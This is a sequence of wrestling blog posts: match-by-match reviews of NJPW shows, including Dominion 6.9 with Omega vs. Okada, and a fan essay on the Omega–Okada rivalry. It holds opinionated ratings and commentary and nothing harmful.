Rating: B. As usual, the Bucks are far better in Japan and that was the case again here. They were in over their heads against the Guerrillas though and the title change was absolutely the right idea. That being said, I don’t remember the last big Bucks match that didn’t involve Matt’s back. It’s effective, but can we mix it up a little?

We recap the US Title match. Juice Robinson won the title earlier this year when he finally won the big one. Cody on the other hand just wants to be champion. Juice wants to prove that he’s more than just a flash in the pan who got lucky.

IWGP US Title: Cody vs. Juice Robinson

Robinson is defending and Brandi Rhodes (yep) is here with Cody. The bell rings and Cody takes his sweet time ripping off the shirt. Juice’s wristlock doesn’t go anywhere so it’s off to a chinlock that lasts all of two seconds. Back up and they chop it out until Cody avoids a crossbody. Cody’s dive to the floor is countered with a belly to belly suplex but Juice accidentally shoves Brandi down.

Pain is screamed so Cody hits a DDT on the floor, bringing Brandi right back up for a kiss. Back in and Cody misses a springboard elbow but a Brandi distraction breaks up a Cannonball attempt. Juice goes after her again and Cody takes over with a single cheap shot. The rollup that made Juice champion gets two here and he kicks Cody into the corner for the Cannonball. The Disaster Kick misses and Juice hits a good looking high crossbody for no cover due to a hard landing.

That means a Figure Four on Juice until we get the old school turnover for the break. Hang on though as Cody needs some water to spit into Juice’s eyes, setting up the Disaster Kick for two. Juice is fine enough to hit Pulp Friction but Brandi pulls her husband to the floor. The knee keeps Juice from getting to him in a hurry though and it’s Cross Rhodes on the floor to knock the champ silly.

Back in and they trade the snap jabs with Juice getting the better of it until Cody pokes him in the eye. A superkick sets up a Vertebreaker (which Cody used to pin him in a tag match) for a close two on Robinson but he crotches Cody on top. Robinson grabs a superplex for the crash, with both guys laying down and raising their legs for the small package with Cody getting the pin and the title at 16:47.

Rating: B-. This could have been a lot worse as Cody’s matches tend to be crazy overbooked. Thankfully that wasn’t the case here and they just had a pretty solid match. I’m not sure why they needed to do the title change here as Juice had a great story to get to the title and Cody is just….well Cody. Does the NWA World Champion need the lowest NJPW singles title?

Chaos vs. Golden Lovers

That would be Tomohiro Ishii/Kazuchika Okada for Chaos here as Okada and Omega continue their long running rivalry. Okada and Ibushi start things off with an exchange of basic holds. A very early Rainmaker attempt misses (continuing the basic theme) and it’s off to Ishii, who wants Omega. For some reason Omega tries some shoulders and just hurts himself. Ishii spits at Ibushi so Omega slugs away to little avail. Ibushi breaks up the brainbuster attempt and no sells some forearms to the back.

Omega’s shot from the back takes Ishii down for a few seconds so it’s off to Ibushi for an ill advised strike off. A hard shoulder drops Ibushi again and Okada hits a slingshot hilo. Omega wants to save his partner and comes in to slug it out with Ishii, earning himself a beating. Back in and Okada snapmares Ibushi down but a dropkick takes Ishii down as we actually get some intelligence.

Omega comes back in and hits a running tornado DDT with an awkward landing. Ishii scores with a powerslam and everything breaks down with the Lovers hitting moonsaults to the floor to take over for the first time. Back in and a series of moonsaults get two on Okada but Ishii comes back in for a suplex. Everything breaks down and it’s Okada vs. Omega for the big showdown.

Neither can hit a finisher so Omega grabs the snapdragon instead. Ishii breaks up a V Trigger and Okada nails the dropkick. Ibushi takes Ishii outside and there’s the V Trigger to Okada. The One Winged Angel is broken up and Okada hits the Tombstone for two as Ibushi saves. It’s off to Ishii vs. Ibushi for a forearm off with Ibushi actually getting the better of it. A moonsault double knees to the chest gets two on Ishii but Okada breaks up the Golden Trigger.

Ishii drops Omega but gets kicked down by Ibushi and everyone needs a break. Ibushi and Ishii slap it out until Ibushi gets two off a clothesline. One heck of a clothesline gives Ishii two of his own and Okada dropkicks Ibushi into a heck of a powerbomb. Ibushi is back up with a German suplex for two on Ishii. Okada gets sent outside and it’s the Golden Trigger to finish Ishii at 23:03.

Rating: B. Good stuff here as expected but I like Ishii a lot so it was going to be hard to screw this up. The Lovers are a heck of a team and it makes sense to have Ishii take the fall instead of Okada, who isn’t losing on a glorified house show. This felt important and that’s what you should be going for at a show like this one. Good, though not great main event.

Post match the Bullet Club comes out for the celebration and Omega is glad to see all the happy faces. The singles match between Omega and Ibushi is teased but here’s Cody to grab the mic. Cody says the fans want to see the rematch and since he’s cool with Omega and getting there with Ibushi, let’s just make it a triple threat (a rarity in New Japan). Omega thinks it’s ingenious and the match seems to be on.

Highlights end the show.

Overall Rating: A-. The opening few matches aren’t the best but there’s an instant classic from Scurll vs. Ospreay and everything from then on is good to very good. This show set the table for the upcoming pay per views, which seems to be exactly the point. I had more fun watching this than I expected and it’s about as good as I’ve seen them do in America.

That being said, the empty seats in the crowd aren’t a good sign. For one thing, how many times have they been to southern California in the last few years? It’s fun, but you can overdo it and that seems to be the case. Couple that with this being a big house show instead of a major event and it’s not exactly must see. Going to a new area might help, or putting on a World Title match for a change. It’s not like the place was empty, but I’m not sure how many times you can do this and expect a strong crowd. This was their fourth show in about a year and a half and that’s pushing it.

Overall though, it’s a very good show and doesn’t run long (the intermission helps a lot) with good wrestling up and down. Kelly was a HUGE improvement over Josh Barnett as Kelly is much better at explaining stories to people like me, who only kind of pay attention. That’s a big upgrade and it made the show much easier to watch. Check out Ospreay vs. Scurll for sure and everything after that if you have time as it’s a good way to get to know some of these people if you’re net at this stuff.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: New Japan Pro Wrestling

Kenny Omega won the IWGP Heavyweight Championship. I take it you’ve heard already. The match is one of the most impressive spectacles ever in the same year where we’ve had Johnny Gargano vs Andrade Almas, Johnny Gargano vs Tommaso Ciampa, Kazuchika Okada vs Tetsuya Naito and others already grasp that “oh that’s one the greatest matches of all time” credit. If you’re a fan of wrestling, you’re blessed with great matches nowadays. But Kenny Omega winning the IWGP title was a bit more than that. It was a story. A lesson of growing up.

See, when Kenny Omega won the G-1 Climax in 2016, lots of fans were surprised. Omega was just a midcarder that had moved up from the Jr. Heavyweights earlier that year. Now he was headlining the Tokyo Dome. He lost to Okada in said main event and all of the sudden, fans started wondering why didn’t he get the title. Omega never got to use his One Winged Angel. And that stuck out to fans. He didn’t hit his big move. Right there is where you can see the differences of NJPW and main roster WWE. As I just said, Kenny was just a midcarder months before. Having matches with aerosol in the middle of NJPW’s big shows. His only mayor program was against Hiroshi Tanahashi. The promotion’s “Ace”. But that was also the program where Kenny and The Young Bucks were dealing with a Yoshitatsu who was impersonating Triple H using said aerosol. “Ready for the main event” wasn’t exactly what you’d say about Omega in terms of how he was presented in NJPW. But there was no doubting he could go in the ring.

Omega had a rematch against Okada for July’s Dominion event later in the year. While their first match went 47 minutes, this one went “Broadway”. A full hour. Omega was finally able to hit his big move. But fate was against him yet again as he wasn’t able to secure a cover before time expired. At first he lost. Now he tied with the near-unstoppable World Champion. Omega now carried the label that he can be a main eventer and repeated his performance. While he didn’t win again, you can see the growth. He now had the experience of headlining for the biggest show of the year and had more time to grow as a top star and as a result, he was much closer to that elusive title win.

Despite the lack of a resolution, Omega failed twice to win the IWGP title and had to back out of contention. In the meantime he won a tournament to crown the first ever United States Champion. Then the G-1 Climax came calling. This would prove to be another example of NJPW planning well in advance. See as Omega/Okada was going on both in the Tokyo Dome and Dominion, there was another mayor rivalry just under in the form of Hiroshi Tanahashi and Tetsuya Naito. Unlike Omega, the two traded wins over the two events. A third match in both rivalries was set up as the finals of the G-1’s A and B blocks. Naito won his, giving him two wins over Tanahashi. Omega took on Kazuchika Okada again. This time a 30 minute time limit put a lot of pressure, especially on Kenny. He had to win to then get a crack at the title. Okada didn’t have to win. Just stall. And given the fact that both previous matches went well over 30 minutes, Kenny  did not have it easy. But this time, the third time in, Kenny did it. He hit the One Winged Angel and secured the win over Okada. Finally besting him. But he lost in the finals to Tetsuya Naito who during the same time period had managed to win his Tokyo Dome match and have a successful run as Intercontinental Champion. Even if he did treat the title like dirt. He had the momentum Kenny lacked (hey, there’s another term WWE loves but NJPW uses far better). Naito had firm success while Kenny struggled to keep up with his rival.

Despite not winning the title, Kenny Omega had closure in the fact that he can defeat Kazuchika Okada. As such, the rivals drifted apart as Okada continued to defeat foe after foe. Reaching an unprecedented two year reign. While Kenny was able to firmly establish himself as a main eventers, his struggles stopped being physical ones and instead we started to see mental and personal ones. Despite being the leader of the Bullet Club, NJPW’s big ‘gaijin’ stable, Kenny was very disassociated with the group. Especially once his rivalry with Okada started. When 2018 came, fellow member Cody Rhodes started a feud with Kota Ibushi. Kenny Omega’s best friend. Kenny at first ignored it as he had a major feud going with Chris Jericho. But at The New Beginning, Omega was finally bested by the young Jay White. Who Omega failed to recruit to the group. As such, Cody saw a moment of weakness and tried to grab power, attacking Omega. But that just reunited him with Kota Ibushi. It did create turmoil with fellow Bullet Club members, The Young Bucks. But after one match, that passed.  They all sided with Omega. Now  with no more turmoil to stop him, he received a challenge.

Kazuchika Okada had defeated every opponent possible. Some he defeated several times. But it was Kenny Omega who gave him his toughest challenge. And Okada challenged him yet again for Dominion. But Kenny had a hard road to get here and decided to up the ante. It wasn’t just a World title match with a 60 minute time limit. No. He wanted the definitive match. To show once and for all he was superior. So he asked for the match to be 2/3 Falls and with no time limit. In the weeks leading up to the match, Omega prepared with intense training while Okada relaxed fishing. Who would’ve thunk that even that would play into the match. As the match took place, it echoed the very story they started at Wrestle Kingdom 11. Okada had the advantage from the start. Omega struggled to keep up and was pinned in the first fall. But he came back. Stronger and secured the second. At this point, both men had very little left to give. It got to the point where Okada’s infamous Rainmaker literally bounced off Omega’s chest. Okada was out. He became complaisant in his dominance. While Omega matured. The young man who spent his time spraying aerosol to win matches had matured into a hard working individual who adapted over and over until he was able to best Okada. Then we saw him do it. He hit the One Winged Angel and Kenny Omega finally did it. Not only did he beat Okada, he did it twice in a row and finally won the title he was after.

That is what makes Kazuchika Okada vs Kenny Omega one of the best rivalries in pro wrestling. Sure, maybe in 10 years something else will come along to dethrone it. And their match in Dominion may not even win Best Match Of The Year. But for me, who saw Kenny Omega go from Jr to Intercontinental Champion in the blink of an eye and then find himself facing the most well protected World Champion since Hulk Hogan and The Ultimate Warrior all the way defeating him firmly, it was a journey. It’s that kind of storytelling that makes wrestling feel like such a special art. Yeah, you know it’s “fake”. That doesn’t stop them from crafting such creative and unbelievable stories. And they’re constantly around US. In Japan with stories such as Mr. Gannosuke betraying Hayabusa or in the US with such simple things as Mr. Anderson’s disrespectful attitude insulting a fallen soldier who gave Kurt Angle a special medal. Or Shawn Michaels being willing to put his career on the line to try and end The Undertaker’s Wrestlemania streak. Pro Wrestling is an art and this match managed to touch me by showcasing their craft.

The story of a young man coming into his own. It’s almost fitting that it came from Japan given how much they love that story and tell it better than anyone under any medium. It’s simple and relateable for any young wrestling fan and while it took a year and a half to tell, it was told in a mere few parts. Very much like a movie series.

But don’t think the US is something I neglect. They also showcase great art. But that’s a case for next time.

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Thank you for reading. My name is AB Morales, Puertorican Dirt Sheet writer, a friend of KB for years. You can find and follow me here:

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IMG Credit: New Japan Pro Wrestling

Dominion 6:9
Date: June 9, 2011
Location: Osaka-Jo Hall, Osaka, Japan
Commentators: Don Callis, Kevin Kelly

So this was a big request and therefore I’m powerless to do anything about it. The main event is yet another Kenny Omega vs. Kazuchika Okada match (maybe the stars are just counting how many matches they’ve had) though this time it’s 2/3 falls and no time limit. Thankfully there hasn’t been the crazy hype about the match to drive me crazy yet so I might like it a lot more. Let’s get to it.

We open with a highlight video running down tonight’s card, albeit in Japanese so it might be a recipe for fruit pies.

IWGP Junior Heavyweight Tag Team Titles: Roppongi 3K vs. El Desperado/Yoshinobu Kanemaru

El Desperado/Yoshinobu Kanemaru are defending and are part of Suzuki-gun. Sho and Yoh flip dive onto the champs before the bell and it’s Kanemaru taking a sliding dropkick to the head for two to start. The announcers explain a bit more of the idea here, talking about how Roppongi used to be Young Lions and the older guys, like the champs, still see them as weaklings. That’s more of a story than most WWE matches give you.

Yoh gets sent into the barricade and has to dive back in at nineteen. Back in and we settle down a lot with Kanemaru ripping at the face and bringing Desperado back in. A dragon screw leg whip gets Yoh out of trouble and there’s the diving tag to Sho. The champs get speared down and some rolling German suplexes get two on Desperado.

Back up and the champs start double teaming until Yoh comes in for a save. A sliding DDT/Dominator combination (3K) gets two on Desperado and a Backstabber into a dropkick has him in even more trouble. Desperado takes some mist to the face and Sho adds Project Ciampa for two more. The ref gets bumped though and Kanemaru adds a whiskey bottle shot to set up the rollup pin to retain the titles at 9:29.

Rating: C. Completely fine opener here and a good way to make Suzuki-Gun look like a bunch of cheating jerks. Sho and Yoh are so much more entertaining than they were back in Ring of Honor and they make for a snappy little team. This was a fun match and thankfully it didn’t overstay its welcome, which can be a problem in opening matches.

Juice Robinson/David Finlay vs. Yoshi Hashi/Jay White

Taguchi Japan vs. Chaos and Finlay has a Groot jacket. White jumps Robinson at the bell, meaning we have to rush to the zoom in shot that always starts the matches (I kind of like it for some reason). Robinson is right back up and Finlay comes in for a double bulldog as they’re certainly off to a fast start. Takahashi comes in for a suplex before handing it right back to White for a backbreaker. A cravate doesn’t keep Finlay down for very long and it’s off to Juice for the snap jabs.

White is loaded into the corner for a Cannonball but Takahashi tries to break things up. That doesn’t go so well for him as Robinson ties him in the Tree of Woe and now the Cannonball can hit both of them at the same time. A double flapjack plants White but Robinson accidentally punches Finlay, allowing White to grab a Blade Runner to plant Finlay. Not that it matters as Robinson comes back in for Pulp Friction (jumping Unprettier) for the pin on White at 7:28.

Rating: C. Another perfectly fine match that didn’t get a ton of time. The ending has to set up Robinson vs. White for the US Title, probably in San Francisco in July, and there’s nothing wrong with that. Robinson has grown by leaps and bounds in New Japan and I could go for seeing him get a lot closer to win the title.

Robinson holds up the US Title to hammer the point home.

Tomohiro Ishii/Toru Yano vs. Minoru Suzuki/Zack Sabre Jr

Chaos vs. Suzuki-gun and I don’t quite see Yano matching up well with Sabre. Suzuki and Sabre’s British Tag Team Titles aren’t on the line and they have Taka Michinoku in their corner. He even throws in some custom introductions, which I again can’t understand. Suzuki and Ishii start things off and they go straight for the shots to the head. Neither can hit their finisher so it’s Sabre coming in and taking Ishii down in knots. Ishii gets up and goes with the power to take over, allowing the tag off to Yano.

This doesn’t go well either as Yano gets his arms cranked in short order. Suzuki comes in and stays on the arm with Sabre coming back in to work on the leg at the same time. An atomic drop gets Yano out of trouble and it’s off to Ishii for the hard chops in the corner. The sleeper doesn’t work on Ishii and it’s time for the big forearm exchange.

That means a double knockdown so Yano goes after the turnbuckle. Thankfully Sabre is right there to bend the arm around the ropes, making Yano scream again. Yano gets the other buckle pad off and Sabre misses a charge. The low blow is reversed into a double armbar and Yano gives up at 8:42.

Rating: D+. I get what Yano’s deal is and I’ve been tired of it for a long time. I know he’s had more success, but he comes off as the New Japan Santino with the same bits and the same jokes time after time. Ishii vs. Suzuki was fun, as always, and they were smart to keep this short.

Post match Ishii goes after Suzuki again and after a few chair shots each, they slug it out on the floor with the Young Lions coming in for the save.

Never Openweight Title: Michael Elgin vs. Taichi vs. Hirooki Goto

Goto is defending and Taichi, who seems to be a singer, has a good looking woman with him. Elgin is absolutely jacked and looking bigger than I’ve ever seen him. There’s no contact in the first minute as Taichi bails to the floor so the other two can go at it. Goto and Elgin lock up so Taichi comes back in for a rollup on the champ. That’s enough to send Taichi back to the floor and it’s Elgin with an enziguri to Goto.

Taichi comes back in to help kick Elgin down and gets suplexed onto Elgin for good measure. Elgin sends the two of them into each other and starts rolling the suplexes to take over for the first time. With the other two on the floor, Elgin hits a bit running flip dive because of course he can do that. Back in and Taichi gets two off a clothesline but walks into the fireman’s carry backbreaker which I still can’t spell.

Elgin gets belly to back superplexed but pops back up for a Tower of Doom with Taichi getting the worst of it. That sends Taichi to the floor, leaving Elgin and Goto to hit each other very hard. An electric chair suplex gives Elgin two on the champ but he misses an enziguri. Another fireman’s carry backbreaker sets up the GTR for two on Elgin but Taichi throws the woman inside. The distraction lets Taichi get two off a superkick, only to have Elgin buckle bomb both of them. The Elgin Bomb on Taichi is good for the pin and the title at 13:44.

Rating: C+. Elgin, while having some serious issues at the moment, is still fun to watch and looks more than intimidating enough to pull off something like this. Of course none of that matters as he wouldn’t even hold the title for two weeks, but at least we got a good performance to get the title on him in the first place. I can’t imagine he’ll be a big deal in the states for a good while so this is as good as it’s likely to get for him.

IWGP Tag Team Titles: Young Bucks vs. Los Ingobernables de Japon

Evil and Sanada are defending and it’s Nick and Sanada running the ropes to start. A headscissors drops Sanada and it’s time for Nick to strike a pose. Stereo basement dropkicks have Sanada in trouble so Evil comes in, only to take half of a double dropkick. Back in and a side slam drops Matt as everything breaks down. There’s a whip into the barricade to keep Matt’s back in trouble, followed by a standing moonsault to give Sanada two.

Evil is smart enough to knock Nick off the apron but Nick is right back up for a kick to the head. The hot tag is on a few seconds later but Nick kicks the post by mistake. It’s fine enough to hold Evil, only to have Matt superkick his brother by mistake. Naturally the Bucks aren’t going to sell for more than about five seconds so they’re up top for a Tower of Doom with Sanada getting the worst of it.

The Meltzer Driver is broken up but Nick is fine enough to come in with a missile dropkick to save his brother from a dragon sleeper. Another Meltzer Driver attempt fails as Nick’s leg gives out and a Magic Killer gets two on Matt. Sanada starts cleaning house with dropkicks and there’s another dragon sleeper on Matt, with Nick making another save. The Bucks start in with superkicks and More Bang For Your Buck to Sanada gives them the titles at 14:53.

Rating: B+. It never ceases to amaze me how much better the Bucks’ matches are in New Japan than they are in Ring of Honor. Over in ROH it’s a bunch of superkicks at the end and then the Meltzer Driver with very few instances of them really ever being in trouble. Here they start fast, take a beating, sell the heck out of injuries, and grit their way to a win in an exciting finish. That’s actually entertaining and good, which isn’t something I would say more than once or twice in ROH. Do more of that and my complaints will be at a minimum.

Post match the Bucks hire Callis for All In.

Bullet Club vs. Hiroshi Tanahashi/Jushin Thunder Liger/Rey Mysterio Jr.

Well you know that face team is getting a pop. It’s Cody, Hangman Page and Marty Scurll for the Club here. Rey is in tights, which I haven’t seen him wear in many, many years. He also has some rap song so it’s not all great. Liger and Scurll, who have been having issues of late, are about to start, but Rey and Page come in with no contact. Actually make that Tanahashi vs. Page, with the first contact coming a minute and a half in.

Takahashi headlocks him down and gives us some air guitar so it’s off to Cody after the strenuous grappling. Cody and Tanahashi exchange pushups before Rey and Scurll come in. That means we actually get something, including a sunset flip for two on Marty. Liger comes in and Scurll panics, partially due to a surfboard to make Marty scream. Marty does the same thing to take over and it’s Cody coming in to punch Liger in the mask.

The Club starts in on Liger’s leg and you know a villain and a guy named Hangman aren’t going to have issues with that. A tilt-a-whirl backbreaker (onto the good knee) gets Liger out of trouble and it’s back to Rey so things can speed up. The moonsault into a tornado DDT plants Scurll but Page makes a blind tag to break up the 619. Everything breaks down and the teams trade cheap shots from the apron.

Tanahashi and Page knock each other down so it’s Cody coming in to face Liger. The palm strike gives Liger two and it’s Page breaking up another 619 to Marty. I hope Scurll gets him a fruit basket. That’s fine with Rey, who hits a 619 to Scurll and Page at the same time. Ok maybe the fruit can be a little bruised. Mysterio and Tanahashi hit dives to the floor but the brainbuster is countered into Cross Rhodes for the pin on Liger at 11:36.

Rating: C+. Mysterio looked awesome here, easily the best I’ve seen him in a long time (maybe it’s the tights). There’s nothing wrong with the legends taking a loss here as the Bullet Club is the hottest thing in the world at the moment. Cody pinning Liger should be a nice little boost for him, though I’m not sure if Cody has anything going on around here other than feuding with Kenny Omega without feuding with Omega.

The heroes get a big sendoff.

IWGP Junior Heavyweight Title: Hiromu Takahashi vs. Will Ospreay

Takahashi is challenging after winning the Best of the Super Juniors tournament. Ospreay already has a banged up neck after his injuries from about two months ago. They go straight at it with right hands and Ospreay charges into a belly to belly into the corner less than twenty seconds in. A sunset bomb to the floor is broken up so they fight to the ramp with Ospreay getting a running start for a big flip dive. The floor padding is pulled back but Ospreay can’t hit Stormbreaker (a double underhook twisted into a neckbreaker), meaning it’s time to head back inside.

Ospreay is fine enough for a running corner dropkick and he cranks back on both of Takahashi’s arms at once. How Zack Sabre Jr. of him. Takahashi bails to the floor, only to come back in and have his arm cranked a little more. After a double armbar is broken, Takahashi sends him outside for a hard dropkick from the apron to take over. A pop up powerbomb gives Takahashi two and some hard chops draw some swearing from Ospreay. The champ is back up with a 619 to the standing face and a springboard clothesline, apparently called Pip Pip Cheerio. That’s just great.

The Space Flying Tiger Drop (wacky Japanese move names are so much fun) puts Takahashi down again but the Oscutter is countered into a German suplex for a sweet reversal. They slug it out for a few seconds before cranking the pace WAY up. A pair of reverse hurricanranas look to set up the Stormbreaker but Takahashi reverses into a Code Red for no cover. That’s enough to send them to the apron, which is where Ospreay hurt himself in the first place. Instead of something stupid, it’s an apron superplex (in a power display you wouldn’t expect from Ospreay) before he drapes Takahashi over the top.

That means a shooting star press to the back (the Burning Star), because Ospreay does some insane flips. A corkscrew shooting star press (Neville’s Red Arrow) gets two and Stormbreaker is countered for a third time. This time it’s into a middle rope Canadian Destroyer, followed by a triangle choke as he’s really banging on that neck. Ospreay can’t powerbomb his way out of it so he lifts Takahashi up again and just drops him on his head for the break instead.

Another Oscutter is broken up as Takahashi shoves him off the ropes and hits a sunset bomb. Back in and a fireman’s carry into a spinning slam (kind of like Chris Sabin’s old Cradle Shock but called the Dynamite Plunger) gets two more and they’re both spent. The Time Bomb is escaped so Ospreay kicks him in the face. Stormbreaker is countered AGAIN into another triangle before Takahashi switches to a butterfly piledriver (geez). A Death Valley Driver into the corner sets up the Time Bomb for the pin on Ospreay and the title at 20:22.

Rating: A-. Well that was awesome. Takahashi played the neck perfectly and in the end it was one big move after another to finally put the champ away. He’s rather good, and the lack of that stupid Daryl thing made it even better. Ospreay is great of course and those flip are often incredible, especially for someone that much bigger than most cruiserweights. Awesome match, with a great story throughout, especially with how many times they changed the pace so drastically.

Takahashi rolls around on the mat with the title, laughing hysterically.

We recap Tetsuya Naito vs. Chris Jericho. Chris attacked him back in January but hasn’t wrestled since. Then Naito won the Intercontinental Title, only to be attacked by a masked Jericho. The title match is set, which could be a heck of a fight, especially with Jericho being so aggressive in Japan.

IWGP Intercontinental Title: Chris Jericho vs. Tetsuya Naito

Naito is defending while Jericho is in some weird face paint and lipstick, plus leather pants. Kind of a Clockwork Orange look actually and that’s not working for me. Jericho jumps him on the floor before Naito can even get the white suit off. A kick to the back and a suplex on the floor have Naito in even more trouble as we’re still waiting on the opening bell. Jericho even powerbombs him through the table (great break) and Naito is rocked.

With Naito more or less dead, Jericho steals a camera and films himself flipping people off. A DDT onto (not through) a table makes it even worse but Jericho stops to sign an autograph on a format sheet. Jericho throws him inside and says to ring the f****** bell so he can cover for one.

The fans chant for Naito and get flipped off, followed by a butterfly backbreaker and the Lionsault for two. Some hard whips into the corner keep Naito down and the Walls go on, sending Naito straight to the rope. Naito gets in a hard slap and tackles Jericho down, finally allowing him to take off the vest. A neckbreaker on the apron and another from the apron to the floor has Jericho in trouble. It’s time to choke with the pants, followed by a few rams into the barricade.

Naito blasts him in the head with the broken table and piledrives him onto the same table from the DDT…..which still doesn’t break. Sweet goodness that’s a heck of a table. Back in and Naito, with his bloody eye, gets his super hurricanrana countered into the Walls. That’s escaped as well and Naito gets two off a DDT. The Walls go on for the third time but the fans drive him to the ropes for yet another break.

A German suplex and Destino get two with Jericho grabbing the rope. Now Naito is bleeding from the ear as well so Jericho slaps him upside the head. Naito’s flying forearm is countered into a Codebreaker for a near fall. The Lionsault hits knees and a pumphandle into a reverse suplex (that’s a new one) drops Jericho on his head. Back up and Jericho shoves the referee, kicks Naito low, and hits the Codebreaker for the pin at 17:18.

Rating: B+. This was similar to the Omega vs. Jericho match with Jericho playing the smoke and mirrors to a high level and presenting it as more of a fight than a match. Naito is a top guy in New Japan and will likely get a boost out of losing, as dropping a title to Jericho is hardly the worst thing in the world. If nothing else, Jericho losing the title to someone else is going to give them a heck of a rub. Really entertaining match here though and that’s all you would have expected from Jericho.

Post match Jericho hammers away at the bad eye and nails Naito with a belt shot. Jericho pulls off his belt to whip Naito, drawing in Evil for the save.

We recap the main event, which is the final blowoff to Kenny Omega vs. Kazuchika Okada, who come into this 1-1-1. Okada has held the title for nearly two years and has pretty much every record in the history of the belt. They wrestled to an hour draw here last year and now it’s time for a no time limit 2/3 falls match.

IWGP World Heavyweight Title: Kenny Omega vs. Kazuchika Okada

Okada is defending and it’s no time limit, 2/3 falls. Kota Ibushi and Gedo are the respective seconds. Feeling out process to start, which is exactly how something like this should be starting. A fight over arm control gives us a standoff so Omega takes him to the mat for a quickly broken hammerlock. Okada has some slightly better luck with a leg crank but Omega is next to the rope. They both tease right hands in the corner and things speed up in a hurry with both finishers missing to send both of them outside.

A hard whip into the barricade has Omega in trouble and there’s a running boot to the face, only to have Omega hit the first (of probably about 75) V Trigger of the match. That’s only good for two back inside so Omega starts kicking at the back, which Okada invites without much of a grimace. A backbreaker sets up a one arm camel clutch but Okada gets in a flapjack for a breather. Okada’s DDT gets two and we hit a rather bad looking cobra clutch. That goes nowhere so Okada sends him outside for a dive.

That’s fine with Omega, who tosses the champ over the barricade for a springboard dive and a nice reaction. Back in and another V Trigger misses, allowing Okada to grab a German suplex. They’re twenty minutes in here and it’s felt like half of that. Okada fights out of a super Snapdragon and Tombstones Omega on the apron, thankfully without the announcers telling us that it’s the hardest part of the ring. Omega gets sent ribs first into the barricade and you can see the confidence on Okada’s face.

A missile dropkick gets a lazy near fall but Okada takes too long loading up the Rainmaker and gets kicked to the floor. The Rise of the Terminator sets up the running no hands flip dive and the fans are rather impressed. Back in and Okada breaks up the Snapdragon and a One Winged Angel, so Omega V Triggers him again.

Omega’s German suplex gets two and there’s the third V Trigger. He still can’t hit the One Winged Angel (they’re setting that up very well) so Okada hits his perfect dropkick. There’s a Tombstone for two but the Rainmaker is countered, only to have the counter countered into a cradle to give Okada the first fall at 28:48.

We take a quick break for a few minutes before Okada dropkicks him to the floor to start the second fall. The ribs go into the apron and the barricade a second time as the champ is in full control. A hanging DDT off the barricade should knock Omega silly and they head back inside. Omega’s chops are shrugged off and it’s a big boot into another cobra clutch. That goes nowhere so let’s head outside again with a table being laid on top of Okada for a running double stomp from the apron. Again the table doesn’t break (the Dudleys must hate this country) and Omega gets his knees up to block a backsplash inside.

An AA drops Omega again and they’re both down one more time. Okada goes up top but gets caught in a superplex as the fans get behind Omega again. That’s cut off by a middle rope moonsault hitting knees so Okada stops to point at a table. The backdrop over the top (like in the first match) is blocked and Omega hits a running tornado DDT. Neither can hit anything off the apron but neither finisher can hit on the floor either.

Instead Omega hits a reverse hurricanrana to knock Okada silly but he’s back in at nineteen. The fifth V Trigger looks to set up the One Winged Angel, which is reversed into another Tombstone (I believe we’re at three now). Okada’s Rainmaker is countered into a spinning Rock Bottom for another double knockdown. The Snapdragon rocks Okada but he pops up with another dropkick to send Omega into the ropes.

We haven’t have a V Trigger in a bit so there’s number six, only to have Okada get two off the same rollup that won him the first fall. Therefore it’s another V Trigger to set up a double underhook piledriver for two on the champ. Hey look! A V Trigger! This one sets up the One Winged Angel to tie things up at 50:35. After another rest period, Okada is almost ready to remember what planet he’s on. Therefore, say it with me: V TRIGGER (that’s nine if you’ve lost count) but Okada reverses the One Winged Angel into the Rainmaker for a double knockdown.

That’s good for a delayed two and neither can hit a Tombstone. Okada misses the dropkick as Omega can’t come off the ropes. He’s fine enough to hit a Styles Clash with Okada grabbing the rope for a save. A V Trigger in the corner connects but the One Winged Angel is countered into a Tombstone which is countered into a Tombstone from Omega. Ibushi gets up on the apron for some advice, but Omega misses the Phoenix splash (Ibushi’s finisher).

We break into the hour mark with V Triggers eleven, twelve and thirteen, followed by two more dropkicks from Okada. The champ loads up another Rainmaker, which connects, but with almost no impact as he collapses from exhaustion (as Omega did last year when he was about to take the Rainmaker). They slug it out from their knees but Okada pulls him up for a quick Rainmaker. There’s a fourth Rainmaker and he loads up a fifth, which is countered into a German suplex.

Omega rolls some more German suplexes but gets reversed into another German suplex. Another Rainmaker attempt is countered into another German suplex and Omega adds a reverse hurricanrana to spike Okada on his head. ANOTHER V Trigger is countered with ANOTHER dropkick but ANOTHER Rainmaker attempt is countered into a kind of sloppy One Winged Angel. Omega can’t cover so it’s V Trigger lucky number fifteen and One Winged Angel #3 to give Omega the third fall and the title at 69:52 (including the breaks between falls).

Rating: A+. If I could go between A+/A here I would, but I’m not one to change a system that has served me very well for so many years and make things that much more complicated for everyone involved. The match is incredible and one of the best performances I’ve ever seen. The guys beat the heck out of each other and called back to their previous classics while adding in new stuff. Okada being the one to collapse on the Rainmaker was great and made Omega look like the better man. Omega winning two straight falls make him look like the rightful champion, capping off a great story.

But give me a break with the seven stars thing. As I’ve said many times: I’m now either supposed to believe that this is 40% better than any previous five star match, or every match ever has to be redone because the scale has changed. As I mentioned more than once: they repeat A LOT of moves and spots, plus at times it felt like they were repeating stuff and filling in spots for the sake of breaking an hour and having one of the longest title matches ever. There are times where that works (which it did here at some points) and there are times where it feels like you’re trying to be epic (which it did here at some points).

Overall, it’s definitely a masterpiece and well worth checking out, but is it the best match of all time? Heck if I know, and heck if anyone else knows too. This match was less than two weeks ago and I’ve been finished watching it for about fifteen minutes. One of the my all time favorite matches and a match that I would put on a short list for best match of all time is Austin vs. Hart at Wrestlemania XIII. I watched that match last year and I was STILL finding new stuff about it that I hadn’t noticed before.

Will that be the case here? Probably, but I’d like to wait until the following month before putting it among the best of all time and above so many other things that have impressed me before. Over time, matches are looked at in different ways and tastes can change dramatically throughout the years. I know it’s great, but immediately giving it some kind of other worldly praise sounds like a six year old who just saw THE NEW GREATEST AND COOLEST MOVIE HE’S EVER SEEN for the fifth time this year.

